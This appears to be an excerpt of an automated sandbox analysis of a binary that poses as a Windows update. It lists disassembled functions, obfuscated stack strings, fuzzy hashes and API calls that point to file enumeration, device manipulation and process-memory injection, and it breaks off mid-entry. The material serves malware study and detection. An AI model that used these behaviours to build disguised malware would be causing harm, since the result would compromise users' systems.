                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: !$!$($,$,$3$6$<$A$B$C$I$Ljq$O$S$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$t$t$u$x$]$y
                                                                    • API String ID: 0-3286634472
                                                                    • Opcode ID: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
                                                                    • Instruction ID: 214f063a2eaa7479a4200d3698902748cf37a85b794205f16bdb65cf0bbf3bb2
                                                                    • Opcode Fuzzy Hash: bd6bb27d60141563e35dc989fdf8730712766b0b72a44616c1c7e8647056d585
                                                                    • Instruction Fuzzy Hash: C862AF2400D7C18AE332CB7894547DFFFD15BA6308F089EAED4DD6A292C6B60159CB67
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$"$"$#$$$&$&$'$)$*$+$-$.$.$2$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$L$L$O$O$P$P$T$V$V$Z$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$j$l$o$p$r$s$t$u${${$}$}
                                                                    • API String ID: 0-3967217698
                                                                    • Opcode ID: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
                                                                    • Instruction ID: c25c44ad86f806f1bc6481ccfacf67464102ede46037e78e9a54b81988712fa8
                                                                    • Opcode Fuzzy Hash: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
                                                                    • Instruction Fuzzy Hash: 6A82A03040C7C29AD376CA3884487CBBFD56BE6324F488B9DD1ED4A2D2DA75024AD767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $&$($2$3$4$<$H$K$N$R$U$V$W$]$_$a$a$a$b$bewrd$d$d$d$d$d$e$e$e$edippugvawpubewrd$f$g$g$i$j$j$k$k$l$m$m$m$n$n$o$p$p$p$r$r$r$u$u$v$v$v$v$w$w$|$}
                                                                    • API String ID: 0-3024838208
                                                                    • Opcode ID: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
                                                                    • Instruction ID: dfcb897c3c3ddb5f64d256e8bd4ce8caa9f1c39f7f70016a84696abcb0595acb
                                                                    • Opcode Fuzzy Hash: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
                                                                    • Instruction Fuzzy Hash: EA12BE2010D7C18DE322C678945479FFFD11BA7618F484A9EE1E85B393D6BA8109CB77
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$H$I$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
                                                                    • API String ID: 0-2256030295
                                                                    • Opcode ID: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
                                                                    • Instruction ID: 43956b3c6462715040061548aa2c3e0b9dcfe60922f62804308211c4145eee04
                                                                    • Opcode Fuzzy Hash: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
                                                                    • Instruction Fuzzy Hash: C312C02010D7C18DD362867C949878FFFD11BE7228F585A9DF1E84A3E3C2AA8149C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$-$1$7$C$G$H$L$P$^$a$a$a$b$c$c$d$d$d$d$d$d$e$e$e$e$e$f$f$g$g$i$i$i$l$l$m$m$o$o$p$p$r$s$s$t$t$t$t$x$x$y$|$}
                                                                    • API String ID: 0-2094285404
                                                                    • Opcode ID: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
                                                                    • Instruction ID: f91fdec992fe17677b43e0b7d472141b995edb7bc8f57b37002556bdc30744f2
                                                                    • Opcode Fuzzy Hash: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
                                                                    • Instruction Fuzzy Hash: 4822022110D7C18DE3328B38945479BBFD21FE7218F185E9EE5E84B3A2C6B58109DB67
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
                                                                    • API String ID: 0-2712818868
                                                                    • Opcode ID: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
                                                                    • Instruction ID: 1d3985015a6004c57cc64fd4eab342ec2e216b16199d8406fbd0a1e5bf867d26
                                                                    • Opcode Fuzzy Hash: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
                                                                    • Instruction Fuzzy Hash: 1602B02010D7C18DD362867D949878FFFD11BE7228F585A9DE1E84B3E3C2AA8149C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$)$+er$.$.$.$.$0$1$1$2$4$6$8$;$@$H$N'$P$Y$Z$]$^$a$a$a$a$b$c$c$c$e$e$f$g$h$i$i$l$m$m$m$m$n$r$r$w$w$x$y$y$y$|
                                                                    • API String ID: 0-4186895133
                                                                    • Opcode ID: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
                                                                    • Instruction ID: d9655f3602fa6a1bb02df14978dde1affe4b5e2ecf171b0ab4337b2ceb98d59a
                                                                    • Opcode Fuzzy Hash: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
                                                                    • Instruction Fuzzy Hash: B032D02110E7C18DD322973C945879FFFE11BA7218F585E9DE1E88B393C2A68149C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: 3$<$C$I$S$a$a$a$a$a$a$a$a$b$c$d$d$d$dualc$e$e$fna$g$h$hyb$i$l$l$lmada$m$n$n$n$n$n$n$o$o$r$r$r$r$rebyc$s$s$s$t$t$y
                                                                    • API String ID: 0-907914069
                                                                    • Opcode ID: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
                                                                    • Instruction ID: 78c049e7797477cb6e619203f3ba55b69d2c157b8d549aaa0d27a5a6a91e7049
                                                                    • Opcode Fuzzy Hash: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
                                                                    • Instruction Fuzzy Hash: 6812BF3440D3C18EE332CB2994547DFBFE16BA6308F088DAED4DD5A292D6B60159CB67
                                                                    APIs
                                                                    • GetLocalTime.KERNEL32(?,?,?,0000005D), ref: 0040BE46
                                                                    • GetTimeZoneInformation.KERNEL32(?), ref: 0040BE66
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Time$InformationLocalZone
                                                                    • String ID: "$'$($($)$+$1$2$2$4$?$E$G$G$H$K$M$U$W$Z$^$e$g$h$h$i$m$n$p$z
                                                                    • API String ID: 93009163-702723632
                                                                    • Opcode ID: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
                                                                    • Instruction ID: f24f2204c30bf8112847402748224eab2bce5a1f2b66652d7b583283150f38f1
                                                                    • Opcode Fuzzy Hash: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
                                                                    • Instruction Fuzzy Hash: DEC1382110D7C189D322C77C948469FFFD15BEB228F584A9DF1E48B3E2C2658549C76B
                                                                    APIs
                                                                    • QueryDosDeviceA.KERNEL32(000000A1,?,00000200), ref: 00423E6D
                                                                    • GetLastError.KERNEL32 ref: 00423E83
                                                                    • lstrcpyA.KERNEL32(?,00000000), ref: 00423E99
                                                                    • lstrcatA.KERNEL32(?,000000A1), ref: 00423EA5
                                                                    • DefineDosDeviceA.KERNEL32(00000001,000000A1,?), ref: 00423EB3
                                                                    • GetLastError.KERNEL32 ref: 00423EC1
                                                                    • lstrcpyA.KERNEL32(?,000000EC), ref: 00423EE0
                                                                    • lstrcatA.KERNEL32(?,000000A1), ref: 00423EF3
                                                                    • CreateFileA.KERNEL32(?,00000000,00000001,00000000,00000003,00000000,000000FF), ref: 00423F0D
                                                                    • DeviceIoControl.KERNEL32(00000000,00170002,00000092,00000004,00000099,000000DC,000000EC,00000000), ref: 00423F2E
                                                                    • GetLastError.KERNEL32 ref: 00423F38
                                                                    • DefineDosDeviceA.KERNEL32(00000007,000000A1,?), ref: 00423F70
                                                                    • GetLastError.KERNEL32 ref: 00423F7A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: DeviceErrorLast$Definelstrcatlstrcpy$ControlCreateFileQuery
                                                                    • String ID: !$-$T$e$f$z$}
                                                                    • API String ID: 204970884-3644634782
                                                                    • Opcode ID: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
                                                                    • Instruction ID: beacce81ebdc5a62315d6854d61fdc252875682725b92811e62445d41cf4b898
                                                                    • Opcode Fuzzy Hash: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
                                                                    • Instruction Fuzzy Hash: BD61B830A042DDAEDF21CFB99C48ADE7FB49F16320F444295E5A4A62D1C3744706CB69
                                                                    APIs
                                                                    • lstrcpyA.KERNEL32(?,?,?,?,?,6D4244C0,00000063), ref: 004063AB
                                                                    • lstrcatA.KERNEL32(?,?,?,?,?,?,?,6D4244C0,00000063), ref: 004063C4
                                                                    • FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,6D4244C0,00000063), ref: 004063D3
                                                                    • GetLastError.KERNEL32(?,?,?,?,?,6D4244C0,00000063), ref: 004063DF
                                                                    • lstrcmpA.KERNEL32(?,0042E310), ref: 0040640E
                                                                    • lstrcmpA.KERNEL32(?,0042E30C), ref: 0040641E
                                                                    • lstrcpyA.KERNEL32(?,?), ref: 00406440
                                                                    • lstrcatA.KERNEL32(?,?), ref: 00406453
                                                                    • lstrcatA.KERNEL32(?,0042E308), ref: 00406462
                                                                    • lstrcpyA.KERNEL32(?,?,00000063), ref: 004064BB
                                                                    • lstrcatA.KERNEL32(?,?), ref: 004064CE
                                                                    • FindNextFileA.KERNEL32(?,?,00000063), ref: 0040653F
                                                                    • FindClose.KERNEL32(?), ref: 0040655C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: lstrcat$Findlstrcpy$Filelstrcmp$CloseErrorFirstLastNext
                                                                    • String ID: :\$.$.$a$b$w
                                                                    • API String ID: 1838452084-3178132420
                                                                    • Opcode ID: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
                                                                    • Instruction ID: d91f1d41485bd9133756b8c6267c5f734ad3426634637d29d8fe53ea42b8f97d
                                                                    • Opcode Fuzzy Hash: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
                                                                    • Instruction Fuzzy Hash: CF51F772108384ABC720DB65DC44BDFB7E9AFC8304F40492EF58A97281D779D609CB6A
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401911
                                                                    • GetLocalTime.KERNEL32(0000005E), ref: 0040191C
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401936
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040193D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateEnvironmentExpandFileHandleLocalStringsTime
                                                                    • String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
                                                                    • API String ID: 2910088009-759814561
                                                                    • Opcode ID: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
                                                                    • Instruction ID: 9d7d35d6ed35067f5301624282322d6ee0cd526578bc1b9978354d1e4a90c02c
                                                                    • Opcode Fuzzy Hash: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
                                                                    • Instruction Fuzzy Hash: E631EC2110C3C1D9E312DB38984874FBFD15BA7618F488A9DF1E95A2D2C2B99249C7A7
                                                                    APIs
                                                                    • OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
                                                                    • lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002,00000000), ref: 0040489A
                                                                    • VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000002), ref: 004048B7
